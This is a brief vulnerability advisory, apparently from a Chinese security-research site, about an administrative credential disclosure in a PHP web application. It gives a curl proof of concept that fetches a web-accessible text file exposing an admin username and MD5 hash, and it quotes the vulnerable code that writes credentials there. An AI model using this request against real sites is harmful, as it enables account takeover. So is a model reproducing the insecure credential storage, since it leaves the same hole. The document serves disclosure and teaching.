|
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
[1] Administrative Credential Disclosure
PoC:
root@kali:/# curl http://localhost/home/caspers/public_html/demo/admin/userpwdadfasdfre.txt
admin:3a4ebf16a4795ad258e5408bae7be341
#
Vulnerable Code:
[+] admin/common.php
-
- // Check user existance
- $pfile = fopen("userpwdadfasdfre.txt","a+");
- rewind($pfile);
-
- while (!feof($pfile)) {
- $line = fgets($pfile);
- $tmp = explode(':', $line);
- if ($tmp[0] == $user) {
- $errorText = "The selected user name is taken!";
- break;
- }
- }
-
- // If everything is OK -> store user data
- if ($errorText == ''){
- // Secure password string
- $userpass = md5($pass1);
-
- fwrite($pfile, "\r\n$user:$userpass");
- }
-
- fclose($pfile);
复制代码 |
|